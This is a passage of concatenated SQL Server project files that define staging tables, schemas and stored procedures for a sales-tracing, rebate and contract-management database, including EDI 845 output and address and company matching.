HAVING count(*) > 1 ) D2
ON D1.UPD_ADDR1 = D2.UPD_ADDR1 AND D1.UPD_ADDR2 = D2.UPD_ADDR2 AND D1.DHC_CO_ZIP = D2.DHC_CO_ZIP
WHERE D1.UNIQ_FLAG = 2
EXEC STAGE.spLOAD_DHC_TO_COMPANY;
TRUNCATE TABLE STAGE.TEMP_ADDR_LAUNDRY;
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/SAF_REF_SUMMARY_COUNTS.sql
CREATE TABLE [STAGE].[SAF_REF_SUMMARY_COUNTS] (
[SALESPERIOD] VARCHAR (10) NULL,
[DISTCOID] VARCHAR (20) NULL,
[DISTID] VARCHAR (8) NULL,
[RecCount] INT NULL,
[TotQtySold] NUMERIC (38, 8) NULL,
[TotSalesAmt] NUMERIC (38, 2) NULL,
[TotRbtApprvdAmt] NUMERIC (38, 2) NULL,
[TotRbtAmt] NUMERIC (38, 4) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spTRC_GET_ERR_PNC.sql
CREATE PROCEDURE [TRC].[spTRC_GET_ERR_PNC]
@vSales_Period varchar(10), @vDIST_ID varchar(20) = null, @vCNT_ID varchar(30) = null, @vPROD_ID varchar(15) = null
WITH EXEC AS CALLER
AS
BEGIN
SELECT DISTINCT
SALES_PERIOD,
S.UPD_CNT_ID as CNT_ID,
S.UPD_PROD_ID as PROD_ID,
C.Group_Name as Buyer_Group,
X.UPD_CNT_ID AS Replacing_With,
L.LKUP_CD_DES as Err_Desc
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR] S
JOIN [PDI_SALESTRACING_DEV].[STAGE].[DIM_CONTRACT] C
ON S.UPD_CNT_ID = C.CONTRACT_NO and C.CURRENT_INDICATOR = 'Y'
JOIN PDI_SALESTRACING_DEV.REF.LKUP_CD L
ON S.ERR_CD = L.LKUP_CD AND L.LKUP_DOMAIN_CD = 'SLS_TRC_CALC' AND L.CD_TYP = 'ERROR'
LEFT JOIN PDI_SALESTRACING_DEV.STAGE.TRC_CNT_CORR_XREF X
ON S.UPD_CNT_ID = X.TRC_CNT_ID AND S.UPD_PROD_ID = X.PROD_ID
WHERE S.Err_Cd = 'PNC'
AND S.SALES_PERIOD = isnull(@vSales_Period, S.SALES_PERIOD)
AND S.DIST_ID = isnull(@vDIST_ID,S.DIST_ID)
ORDER BY S.UPD_CNT_ID
END<file_sep>/PDI_SALESTRACING_DEV/dbo/Stored Procedures/upsert_contract.sql
-- =============================================
-- Author: <NAME>
-- Create date: 4/3/2019
-- Description: Exercise 1
-- =============================================
CREATE PROCEDURE dbo.upsert_contract
AS
BEGIN
SET NOCOUNT ON;
SET IDENTITY_INSERT SNDBX.CONTRACT ON
-- Update existing record when expiration date is late than in target table
UPDATE TC
SET TC.CNT_UPD_TYP = 'Extended Contract'
FROM SNDBX.CONTRACT TC INNER JOIN STG0.CONTRACT SC
ON TC.CONTRACT_ID_PK = SC.CONTRACT_ID_PK
WHERE TC.CNT_EXP_DT >GETDATE()
AND TC.CONTRACT_ID_PK IN (SELECT CONTRACT_ID_PK FROM SNDBX.CONTRACT)
-- Update existing record when expiration date is earlier than in target table
UPDATE TC
SET TC.CNT_UPD_TYP = 'Expired Contract'
FROM SNDBX.CONTRACT TC INNER JOIN STG0.CONTRACT SC
ON TC.CONTRACT_ID_PK = SC.CONTRACT_ID_PK
WHERE TC.CNT_EXP_DT < GETDATE()
AND TC.CONTRACT_ID_PK IN (SELECT CONTRACT_ID_PK FROM SNDBX.CONTRACT)
-- Insert new record not exists in target table
INSERT INTO [SNDBX].[CONTRACT]
([REC_EFF_DT]
,[REC_EXP_DT]
,[REC_STAT_CD]
,[CNT_NR]
,[CNT_EFF_DT]
,[CNT_EXP_DT]
,[CNT_EFF_DT_NR]
,[CNT_EXP_DT_NR]
,[CNT_APPRV_DT]
,[CNT_TYP_CD]
,[CNT_STAT_CD]
,[RENEW_IN]
,[RENEW_CNT_NR]
,[BUYER_GRP_CNT_NR]
,[BUYER_GRP_ID]
,[CNT_TIER_LVL]
,[CNT_TIER_LVL_NR]
,[CNT_VALID_IN]
,[BUYER_GRP_NM]
,[CNT_DESC]
,[SRC_REC_LST_MOD_DT]
,[CNT_UPD_TYP]
,[RPLCD_CNT_NR]
,[ORIG_EXP_DTE]
,[CURRENT TIMESTAMP])
select [REC_EFF_DT]
,[REC_EXP_DT]
,[REC_STAT_CD]
,[CNT_NR]
,[CNT_EFF_DT]
,[CNT_EXP_DT]
,[CNT_EFF_DT_NR]
,[CNT_EXP_DT_NR]
,[CNT_APPRV_DT]
,[CNT_TYP_CD]
,[CNT_STAT_CD]
,[RENEW_IN]
,[RENEW_CNT_NR]
,[BUYER_GRP_CNT_NR]
,[BUYER_GRP_ID]
,[CNT_TIER_LVL]
,[CNT_TIER_LVL_NR]
,[CNT_VALID_IN]
,[BUYER_GRP_NM]
,[CNT_DESC]
,[SRC_REC_LST_MOD_DT]
,[CNT_UPD_TYP]
,[RPLCD_CNT_NR]
,[ORIG_EXP_DTE]
,[CURRENT TIMESTAMP] from STG0.CONTRACT SC
where SC.CONTRACT_ID_PK not in (SELECT CONTRACT_ID_PK FROM SNDBX.CONTRACT)
END<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CROHALL_SAF_INV.sql
CREATE TABLE [STAGE].[CROHALL_SAF_INV] (
[Year_Month] VARCHAR (6) NULL,
[ENDUSER_ID] VARCHAR (150) NOT NULL,
[ENDUSER_NAME] VARCHAR (150) NULL,
[COACCTID] VARCHAR (20) NULL,
[COACCTMAX] VARCHAR (20) NULL,
[ADDR1] VARCHAR (250) NULL,
[ADDR2] VARCHAR (250) NULL,
[CITY] VARCHAR (50) NULL,
[ST] VARCHAR (2) NULL,
[ZIP] VARCHAR (10) NULL,
[COITEMID] VARCHAR (30) NULL,
[SLS_2018] NUMERIC (38, 2) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CONTRAXX_CNT_ADDR.sql
CREATE TABLE [STAGE].[CONTRAXX_CNT_ADDR] (
[CNT_NR] VARCHAR (20) NOT NULL,
[CNT_DESC] VARCHAR (MAX) NULL,
[CNT_STATUS_CODE] VARCHAR (40) NULL,
[CNT_TYPE] VARCHAR (10) NULL,
[ADDR_1] VARCHAR (250) NULL,
[CITY] VARCHAR (100) NULL,
[STATE] VARCHAR (20) NULL,
[ZIP] VARCHAR (10) NULL,
[CURRENT TIMESTAMP] VARCHAR (50) DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_RELATIONSHIP_FILE.sql
CREATE TABLE [STAGE].[PDI_RELATIONSHIP_FILE] (
[COMPANYID] INT NULL,
[PARENTCOMPANYID] INT NULL,
[RELATIONSHIPTYPE] VARCHAR (MAX) NULL,
[PARENTIDNCOUNT] INT NULL,
[DISTANCETOCHILD] FLOAT (53) NULL,
[HOSPITAL_ID] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spGet_similar_company.sql
CREATE PROCEDURE [STAGE].[spGet_similar_company]
@vCMPNY varchar(196), @vZIP varchar(10)
WITH EXEC AS CALLER
AS
BEGIN
SELECT DISTINCT CMPNY_NM, @vCMPNY ,@vZIP, Z.State,
CMPNY_ADDR_1, CMPNY_CITY, CMPNY_ST, CMPNY_ZIP, S.CMPNY_SGMNT_NM,
STAGE.fnLEVENSHTEIN(@vCMPNY,CMPNY_NM) AS [NM_PROXIMITY], LEN(@vCMPNY) WRD_LN, CONVERT(DECIMAL(10,2),STAGE.fnGet_Distance(@vZIP,CMPNY_ZIP)/3/1760) DISTNACE
FROM CMPNY.COMPANY C
JOIN CMPNY.COMPANY_SEGMENT S ON C.CMPNY_SGMNT_ID = S.CMPNY_SGMNT_ID
JOIN STG0.ZIP_CODE Z ON LEFT(Z.Zipcode,5) = @vZIP
WHERE CMPNY_NM LIKE '%'+@vCMPNY+'%'
--AND STAGE.fnGet_Distance('30062',CMPNY_ZIP) = 0
ORDER BY 12, 11
END<file_sep>/PDI_SALESTRACING_DEV/Security/CMPNY.sql
CREATE SCHEMA [CMPNY]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/SALES_TRACING_NON_EDI_ETL_MEDLINE_RBT.sql
CREATE TABLE [STG0].[SALES_TRACING_NON_EDI_ETL_MEDLINE_RBT] (
[ID] INT IDENTITY (1, 1) NOT NULL,
[SALES_PERIOD] VARCHAR (10) NULL,
[YEAR] CHAR (4) NULL,
[MNTH] CHAR (2) NULL,
[DAY] CHAR (2) NULL,
[RPT_DT] VARCHAR (MAX) NULL,
[DIST_ID] VARCHAR (48) NULL,
[DIST_NR] VARCHAR (15) NULL,
[TRC_TRANS_TYP] VARCHAR (MAX) NULL,
[TRC_CNT_ID] VARCHAR (MAX) NULL,
[TRC_PROD_ID] VARCHAR (MAX) NULL,
[TRC_PRC_TYP] VARCHAR (MAX) NULL,
[INV_ID] VARCHAR (MAX) NULL,
[INV_DT] VARCHAR (MAX) NULL,
[INV_DT_NR] VARCHAR (MAX) NULL,
[TRC_UNIT] VARCHAR (MAX) NULL,
[TRC_QTY_SLD] VARCHAR (MAX) NULL,
[TRC_CNT_PRC] VARCHAR (MAX) NULL,
[TRC_LIST_PRC] VARCHAR (MAX) NULL,
[TRC_DIST_PRC] VARCHAR (MAX) NULL,
[TRC_EXT_LIST_COST] VARCHAR (MAX) NULL,
[TRC_EXT_DIST_COST] VARCHAR (MAX) NULL,
[TRC_EXT_CNT_COST] VARCHAR (MAX) NULL,
[TRC_RBT_AMT] VARCHAR (MAX) NULL,
[LINE_NR] VARCHAR (MAX) NULL,
[SHPTO_ID] VARCHAR (MAX) NULL,
[SHPTO_NM] VARCHAR (MAX) NULL,
[SHPTO_ADDR_1] VARCHAR (MAX) NULL,
[SHPTO_ADDR_2] VARCHAR (MAX) NULL,
[SHPTO_CITY] VARCHAR (MAX) NULL,
[SHPTO_ST] VARCHAR (MAX) NULL,
[SHPTO_ZIP] VARCHAR (MAX) NULL,
[SHPTO_TYP] VARCHAR (MAX) NULL,
[BILLTO_ID] VARCHAR (MAX) NULL,
[BILLTO_NM] VARCHAR (MAX) NULL,
[BILLTO_ADDR_1] VARCHAR (MAX) NULL,
[BILLTO_ADDR_2] VARCHAR (MAX) NULL,
[BILLTO_CITY] VARCHAR (MAX) NULL,
[BILLTO_ST] VARCHAR (MAX) NULL,
[BILLTO_ZIP] VARCHAR (MAX) NULL,
[BILLTO_TYP] VARCHAR (MAX) NULL,
[DBT_MEMO] VARCHAR (MAX) NULL,
[CURRENT TIMESTAMP] VARCHAR (50) DEFAULT (getdate()) NOT NULL,
[TRC_CS_PRC] VARCHAR (MAX) NULL,
[CNT_EXP_DT] DATE NULL,
[TRC_UPDT_UNIT] CHAR (2) NULL,
[TRC_SALES_AMT] VARCHAR (255) NULL,
[LIST_CS_PRC] VARCHAR (255) NULL,
[TRC_EXT_RBT_AMT] VARCHAR (MAX) NULL,
[TRC_PROD_DESC] VARCHAR (MAX) NULL,
[Vendor] VARCHAR (255) NULL,
[MedlineCon] VARCHAR (255) NULL,
[GpoId] VARCHAR (50) NULL,
[MedlineItm] VARCHAR (50) NULL,
[Material GTIN] VARCHAR (50) NULL,
[Sold-To DEA#] VARCHAR (50) NULL,
[Sold-To GLN] VARCHAR (50) NULL,
[DocType] VARCHAR (10) NULL,
[Plant] VARCHAR (255) NULL,
[PlantStreet] VARCHAR (255) NULL,
[PlantAddress] VARCHAR (255) NULL,
[PremiumAmt] VARCHAR (255) NULL,
[PremiumPct] VARCHAR (50) NULL,
[CondPrcUni] VARCHAR (50) NULL,
[CondUnitDo] VARCHAR (50) NULL,
[CondDisc] VARCHAR (50) NULL,
[CustGrp] VARCHAR (50) NULL,
[PDI Denied Rebate] VARCHAR (50) NULL,
[PDI Comments] VARCHAR (50) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_Hospital_Overview.sql
CREATE TABLE [STAGE].[PDI_Hospital_Overview] (
[HOSPITAL_ID] INT NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[PROVIDER_NUMBER] VARCHAR (MAX) NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[HOSPITAL_TYPE] VARCHAR (MAX) NULL,
[HQ_ADDRESS] VARCHAR (MAX) NULL,
[HQ_ADDRESS1] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_ZIP_CODE] INT NULL,
[HQ_COUNTY] VARCHAR (MAX) NULL,
[CBSA_CODE_DESCRIPTION] VARCHAR (MAX) NULL,
[CBSA_POPULATION_EST_MOST_RECENT] INT NULL,
[CBSA_POPULATION_GROWTH_MOST_RECENT] VARCHAR (MAX) NULL,
[WEBSITE] VARCHAR (MAX) NULL,
[NETWORK_ID] VARCHAR (MAX) NULL,
[NETWORK_NAME] VARCHAR (MAX) NULL,
[NETWORK_PARENT_ID] VARCHAR (MAX) NULL,
[NETWORK_PARENT_NAME] VARCHAR (MAX) NULL,
[NPI_NUMBER] INT NULL,
[PROGRAM_340B_ID] VARCHAR (MAX) NULL,
[HIN] VARCHAR (MAX) NULL,
[GLN] VARCHAR (MAX) NULL,
[DEA_REGISTRATION_NUMBER] VARCHAR (MAX) NULL,
[MEDICAL_SCHOOL_AFFILIATION] VARCHAR (MAX) NULL,
[ACCREDITATION_AGENCY] VARCHAR (MAX) NULL,
[HOSPITAL_OWNERSHIP] VARCHAR (MAX) NULL,
[MEDICARE_ADMINISTRATIVE_CONTRACTOR] VARCHAR (MAX) NULL,
[FINANCIAL_DATA_DATE] DATETIME2 (7) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CMS_DATA.sql
CREATE TABLE [STAGE].[CMS_DATA] (
[NPI_ID] VARCHAR (50) NULL,
[ENTITY_TYPE_CD] VARCHAR (50) NULL,
[RPLC_NPI_ID] VARCHAR (50) NULL,
[EIN] VARCHAR (50) NULL,
[ORG_NM] VARCHAR (200) NULL,
[LAST_NM] VARCHAR (100) NULL,
[FIRST_NM] VARCHAR (100) NULL,
[MIDDLE_NM] VARCHAR (100) NULL,
[CREDENTIAL_TXT] VARCHAR (100) NULL,
[ADD1] VARCHAR (200) NULL,
[ADD2] VARCHAR (200) NULL,
[CITY] VARCHAR (60) NULL,
[ST] VARCHAR (50) NULL,
[ZIP] VARCHAR (50) NULL,
[CNTRY] VARCHAR (50) NULL,
[DEACT_RSN_CD] VARCHAR (50) NULL,
[DEACT_DTE] VARCHAR (50) NULL,
[REACT_DTE] VARCHAR (50) NULL,
[OTHR_ORG_NM] VARCHAR (200) NULL,
[OTHR_ORG_TYP_CD] VARCHAR (50) NULL,
[LOC_ADD1] VARCHAR (200) NULL,
[LOC_ADD2] VARCHAR (200) NULL,
[LOC_CITY] VARCHAR (60) NULL,
[LOC_ST] VARCHAR (50) NULL,
[LOC_ZIP] VARCHAR (50) NULL,
[LOC_CNTRY] VARCHAR (50) NULL,
[LAST_UPDATE_DATE] VARCHAR (50) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/FTPOUT/Tables/ContractItemsImport.sql
CREATE TABLE [FTPOUT].[ContractItemsImport] (
[CONTID] VARCHAR (50) NOT NULL,
[ITEMID] VARCHAR (30) NOT NULL,
[CONTITEMEFFDATE] DATE NOT NULL,
[CONTITEMEXPDATE] DATE NOT NULL,
[CONTCOST] NVARCHAR (50) NULL,
[GROUPADMINFEE] DECIMAL (4, 2) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TEMP_UPD_ITEM.sql
CREATE TABLE [STAGE].[TEMP_UPD_ITEM] (
[CNT_NR] VARCHAR (20) NOT NULL,
[ITM_NR] VARCHAR (20) NOT NULL,
[ITM_EFF_DT_NR] INT NULL,
[ITM_EXP_DT_NR] INT NULL,
[ITM_UOM] VARCHAR (10) NULL,
[ITM_PRC] DECIMAL (18, 2) NULL,
[SRCE_REC_MOD_DT_NR] BIGINT NULL,
[LAST_ITM_EXP_DT_NR] INT NULL,
[ITM_STAT_CD] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_Hospital_Affiliated_Physicians.sql
CREATE TABLE [STG0].[PDI_Hospital_Affiliated_Physicians] (
[PRIMARY_AFFILIATION_HOSPITAL_ID] VARCHAR (MAX) NULL,
[PRIMARY_AFFILIATION_HOSPITAL_NAME] VARCHAR (MAX) NULL,
[NPI] VARCHAR (MAX) NULL,
[FIRST_NAME] VARCHAR (MAX) NULL,
[LAST_NAME] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_PHONE] VARCHAR (MAX) NULL,
[SPECIALTY_PRIMARY] VARCHAR (MAX) NULL,
[MEDICARE_CLAIMS] VARCHAR (MAX) NULL,
[MEDICARE_CHARGE_AMT] VARCHAR (MAX) NULL,
[MEDICARE_ALLOWED_AMT] VARCHAR (MAX) NULL,
[MEDICARE_PAYMENT_AMT] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CONT_PRICE.sql
CREATE TABLE [STAGE].[CONT_PRICE] (
[Contract ID] VARCHAR (50) NOT NULL,
[ITEMID] VARCHAR (30) NOT NULL,
[Contract Price] DECIMAL (38, 2) NULL,
[Eff Date] DATE NULL,
[Exp Date] DATE NULL,
[nExp Date] INT NULL,
[nEff Date] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spTEMP_UPDATE_CONT_EXCPTN.sql
-- =============================================
-- Author: <NAME>
-- To make preliminary update of the contract, from pop-up page
-- This proc expects 'REPLACE', 'REJECT' or 'PASS' as value of RECON_ACTN
-- =============================================
CREATE PROCEDURE [TRC].[spTEMP_UPDATE_CONT_EXCPTN]
(@CNT_NR [VARCHAR](40),
@prod_ID [VARCHAR](20),
@RECON_ACTN VARCHAR(20),
@REPL_CNT [VARCHAR](40),
@Recon_Apply BIT
)
AS
BEGIN
IF @Recon_Apply = 0
BEGIN
SELECT DISTINCT
a.PROD_ID
INTO #allProducts
FROM CNT_DEV.CNT_PROD A
WHERE a.[CNT_NR] = @REPL_CNT
AND A.REC_STAT_CD = 'A';
SELECT PROD_ID
INTO #productsToUpdate
FROM [STAGE].[TRC_CNT_CORR_XREF]
WHERE TRC_CNT_ID = @CNT_NR
AND RECON_STAT_CD = 'P'
AND PROD_ID IN
(
SELECT PROD_ID
FROM #allProducts
);
UPDATE [STAGE].[TRC_CNT_CORR_XREF]
SET
RECON_ACTN = CASE
WHEN @RECON_ACTN = 'REPLACE'
THEN 'R'
WHEN @RECON_ACTN = 'REJECT'
THEN 'X'
WHEN @RECON_ACTN = 'PASS'
THEN 'A'
END,
UPD_CNT_ID = @REPL_CNT
WHERE TRC_CNT_ID = @CNT_NR
AND PROD_ID IN
(
SELECT PROD_ID
FROM #productsToUpdate
)
AND RECON_STAT_CD = 'P'
AND RECON_ACTN IS NULL
END;
ELSE
BEGIN
UPDATE [STAGE].[TRC_CNT_CORR_XREF]
SET
RECON_ACTN = CASE
WHEN @RECON_ACTN = 'REPLACE'
THEN 'R'
WHEN @RECON_ACTN = 'REJECT'
THEN 'X'
WHEN @RECON_ACTN = 'PASS'
THEN 'A'
END,
UPD_CNT_ID = @REPL_CNT
WHERE TRC_CNT_ID = @CNT_NR
AND PROD_ID = @prod_ID
AND RECON_STAT_CD = 'P';
END;
END;<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spUPDATE_SLS_TRC_LOAD_DTL.sql
CREATE PROCEDURE [TRC].[spUPDATE_SLS_TRC_LOAD_DTL]
( @vSales_Period VARCHAR(10))
WITH EXEC AS CALLER
AS
BEGIN
UPDATE D
SET D.CS_QTY = I.CS_QTY, D.SALES_AMT = I.SALES_AMT, D.EXCP_COUNT = I.EXCEPTION
FROM STAGE.SLS_TRC_LOAD_DTL D
JOIN
( SELECT C.LOAD_ID, SUM(C.UPD_CS_QTY) CS_QTY,
SUM(C.UPD_SALES_AMT) SALES_AMT, COUNT(*) REC_CNT
,SUM(CASE WHEN C.ERR_CD IS NOT NULL
THEN 1 ELSE 0 END) EXCEPTION
FROM STAGE.SALES_TRACING_CURR C
WHERE C.SALES_PERIOD = @vSales_Period
GROUP BY C.LOAD_ID) I
ON D.LOAD_ID = I.LOAD_ID ;
UPDATE D
SET
D.ROLLING_6_MN_AV_QTY = S.CS_QTY_6MO_AVG,
D.ROLLING_12_MN_AV_QTY = S.CS_QTY_12MO_AVG,
D.ROLLING_6_MN_AV_AMT = S.SALES_AMT_6MO_AVG,
D.ROLLING_12_MN_AV_AMT = S.SALES_AMT_12MO_AVG
FROM STAGE.SLS_TRC_LOAD_DTL D
JOIN STAGE.DATA_LOAD_SUMMARY S ON D.SALES_PERIOD = S.SALESPERIOD AND D.DIST_ID = S.DIST_NR
WHERE D.SALES_PERIOD = @vSales_Period
-- UPDATE SALES PERIOD IN THE DATA LOAD SUMMARY
-- PENDING - LATER -- ADD OUR OWN CALUCLATION FOR SUM - BY JUST REMOVING THE SALES PERIOD FILTER BELOW
UPDATE S
SET S.SALES_AMT = D.SLS_AMT
FROM STAGE.DATA_LOAD_SUMMARY S
JOIN ( SELECT SALES_PERIOD, DIST_ID , SUM(SALES_AMT) SLS_AMT
FROM STAGE.SLS_TRC_LOAD_DTL
WHERE SALES_PERIOD = @vSales_Period
GROUP BY SALES_PERIOD, DIST_ID) D
ON D.SALES_PERIOD = S.SALESPERIOD AND D.DIST_ID = S.DIST_NR
WHERE S.SALESPERIOD = @vSales_Period
END<file_sep>/PDI_SALESTRACING_DEV/Security/GEOM.sql
CREATE SCHEMA [GEOM]
AUTHORIZATION [NICEPAK\Krunal.Trivedi];
<file_sep>/PDI_SALESTRACING_DEV/EDI/Stored Procedures/usp_sql_to_output_EDI845_TST.sql
-- HABIB query to output EDI845
create proc [EDI].[usp_sql_to_output_EDI845_TST]
as
SELECT
C.SENDER_ID AS [Sender ID], C.RCVR_ID AS [Receiver ID],
C.NOTFN_PRPS_CD AS [Notification Purpose Code], C.TRNSFR_DTE AS [Notification Date],
[MF Contract Number], [Contract Status Code], [Buyer Group Contract Number], [MF Contract Name], [Previous Contract Number],
[Contract Effective Date], [Contract Expiration Date], [Replaced Contract Expiration Date], [Contract Tier Number],
[Buyer Group Name], [Eligible Buyer Name], [Manufacturer Name], [Buyer Group HIN], [Manufacturer HIN],
[Eligible Buyer Account Number], [Eligible Buyer GPO Account Number],
[Eligible Buyer Address 1], [Eligible Buyer Address 2], [Eligible Buyer City], [Eligible Buyer State], [Eligible Buyer Zip],
[Eligible Buyer Country Code],
CASE WHEN E.SEGMENT = 'Eligible Buyer' THEN E.EDI_LIN_CD ELSE NULL END AS[Update Reason Code],
[Eligible Buyer Effective Date], [Eligible Buyer Expiration Date],
CASE WHEN E.SEGMENT = 'Product' THEN E.EDI_LIN_CD ELSE NULL END AS [Item Update Type Code], [Item Description], [Manufacturers Item ID],
[Contract Unit Price], [Quantity Information], [Unit of Measure], [Product Effective Date], [Product Expiration Date], T.[Orig Contract Expiration Date]
FROM [EDI].[EDI845_TRANSFER_TMPLT_TST] T
JOIN [EDI].[EDI_TRNSFR_CNTRL_TABLE_TST] C ON T.[Transfer ID] = C.TRNSFR_ID
JOIN PDI_SALESTRACING_TEST.STAGE.EDI_CD E ON T.[PDI Action Code] = E.PDI_ACTION_CD AND C.RCVR_ID = E.TP_EDI_ID
WHERE C.TRNSFR_STAT = 'P' AND C.TRNSFR_TYP_CD = 'SND' --AND C.TRNSFR_ID > 1
ORDER BY C.RCVR_ID, C.NOTFN_PRPS_CD<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spTRC_VLDTN_LOAD_REF_TABLE.sql
CREATE PROCEDURE [STAGE].[spTRC_VLDTN_LOAD_REF_TABLE]
WITH EXEC AS CALLER
AS
BEGIN
-- UPDATE LIST PRICE FROM FTPOUT LIST PRICE TABLE --
UPDATE L
SET L.CS_PRICE = F.LIST_PRICE,
L.BX_PRICE = F.LIST_PRICE/L.BX,
L.EA_PRICE = F.LIST_PRICE/L.EA,
L.[EFF DATE] = YEAR(F.EFF_DATE)*10000+MONTH(F.EFF_DATE)*100+DAY(F.EFF_DATE),
L.[EXP DATE] = YEAR(F.EXP_DATE)*10000+MONTH(F.EXP_DATE)*100+DAY(F.EXP_DATE)
FROM STAGE.LIST_PRICE L
JOIN FTPOUT.CompanyPriceListImport F ON L.[ITEM NO] = F.ITEM_NO;
--- Prepare the Distributor Price List
TRUNCATE TABLE [STAGE].[Dist_Price]; -- MAKE A MERGE STATEMENT LATER
INSERT INTO [STAGE].[Dist_Price] (
[DISTID],[ITEMID],[EFFDATE],[EXPDATE],[CS_PRICE],[BX_PRICE],[EA_PRICE])
SELECT
[DISTID],[ITEMID],
YEAR([EFFDATE])*10000+MONTH([EFFDATE])*100+DAY([EFFDATE]) AS [EFFDATE],
YEAR([EXPDATE])*10000+MONTH([EXPDATE])*100+DAY([EXPDATE]) AS [EXPDATE],
[DISTLISTPRICE] AS CS_PRICE,
([DISTLISTPRICE]/BX) AS BX_PRICE, ([DISTLISTPRICE]/EA) AS EA_PRICE
FROM [FTPOUT].[DistPriceListImport] D
JOIN [STAGE].[LIST_PRICE] L ON D.ITEMID = L.[ITEM NO];
--- Load Contract Table
TRUNCATE TABLE [STAGE].[CONT_PRICE];
INSERT INTO [STAGE].[CONT_PRICE]
([Contract ID],ITEMID,[Eff Date],[Exp Date],
[nEff Date],[nExp Date],[Contract Price])
SELECT
CONTID AS [Contract ID], ITEMID, CONTITEMEFFDATE,CONTITEMEXPDATE,
YEAR(CONTITEMEFFDATE)*10000+MONTH(CONTITEMEFFDATE)*100+DAY(CONTITEMEFFDATE) AS [nEff Date],
YEAR(CONTITEMEXPDATE)*10000+MONTH(CONTITEMEXPDATE)*100+DAY(CONTITEMEXPDATE) AS [nExp Date],
CONTCOST AS [Contract Price]
FROM FTPOUT.ContractItemsImport;
END<file_sep>/PDI_SALESTRACING_DEV/Security/FTPOUT.sql
CREATE SCHEMA [FTPOUT]
AUTHORIZATION [NICEPAK\Krunal.Trivedi];
<file_sep>/PDI_SALESTRACING_DEV/MDM_STAGE/Tables/DHC_ADDR_PARTS.sql
CREATE TABLE [MDM_STAGE].[DHC_ADDR_PARTS] (
[SRC_ID] INT NOT NULL,
[ST_NR] VARCHAR (100) NULL,
[ST_NM] VARCHAR (255) NULL,
[ST_TYP] VARCHAR (50) NULL,
[ST_DIR] VARCHAR (50) NULL,
[ST_NR_2] VARCHAR (20) NULL,
[BLDG_NR] VARCHAR (20) NULL,
[FL_NR] VARCHAR (20) NULL,
[STE_NR] VARCHAR (20) NULL,
[DIR_1] VARCHAR (20) NULL,
[ADDR_1] VARCHAR (255) NULL,
[ADDR_2] VARCHAR (100) NULL,
[ZIP] VARCHAR (10) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/REF/Tables/LKUP_CD.sql
CREATE TABLE [REF].[LKUP_CD] (
[LKUP_DOMAIN_CD] VARCHAR (20) NULL,
[LKUP_DOMAIN_DES] VARCHAR (50) NULL,
[LKUP_CD] VARCHAR (20) NULL,
[LKUP_CD_DES] VARCHAR (50) NULL,
[CD_TYP] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spDHC_PROCESS.sql
create PROCEDURE [STAGE].[spDHC_PROCESS]
WITH EXEC AS CALLER
AS
BEGIN
------------- ADDRESS PROCESS -----------
-- Load Addresss Data
INSERT INTO MDM_STAGE.TEMP_ADDR (SRC_ID, ADDR_1, ADDR_2 )
SELECT DHC_CO_ID, DHC_CO_ADDR_1, DHC_CO_ADDR_2
FROM STAGE.DHC_COMPANY
-- Process Address -- This will have clean address in the 'TEMP_ADDR_PARTS table
EXEC [STAGE].[spADDR_LAUNDRY];
-- Load unique address into the CMPNY_address_table
-- Then create the xref table with primary and other address status
END<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGET_PRODUCT_DETAILS.sql
CREATE PROCEDURE CNT.spGET_PRODUCT_DETAILS
@cntNr AS VARCHAR(7),
@prodId AS VARCHAR(7)
AS
BEGIN
--'CNT6046'
--'A500F48'
SET NOCOUNT ON;
SELECT A.CNT_NR,
a.PROD_ID,
b.PRODUCT_DESC,
a.PROD_EFF_DT,
a.[PROD_EXP_DT],
a.[PROD_PRC],
pr.RATIONALE
FROM CONT.CNT_PROD A
INNER JOIN [PROD].[PROD_PRC_COMPARISON] B ON a.PROD_ID = b.PROD_ID
LEFT JOIN CNT.PROD_RATIONALE pr ON pr.[CNT_NR] = @cntNr
AND pr.PROD_ID = @prodId
AND pr.REC_STAT_CD = 'A'
WHERE a.[CNT_NR] = @cntNr
AND b.PROD_ID = @prodId
AND A.REC_STAT_CD = 'A'
ORDER BY [CURRENT TIMESTAMP] DESC;
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/temp_ddi_prc.sql
CREATE TABLE [STAGE].[temp_ddi_prc] (
[PROD_ID] NVARCHAR (50) NULL,
[DIST_PRICE] DECIMAL (28, 10) NULL,
[FSS_PRICE] DECIMAL (28, 10) NULL,
[EFF_DT] INT NULL,
[EXP_DT] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/MedlineVDR_.sql
CREATE TABLE [STAGE].[MedlineVDR$] (
[Vendor] FLOAT (53) NULL,
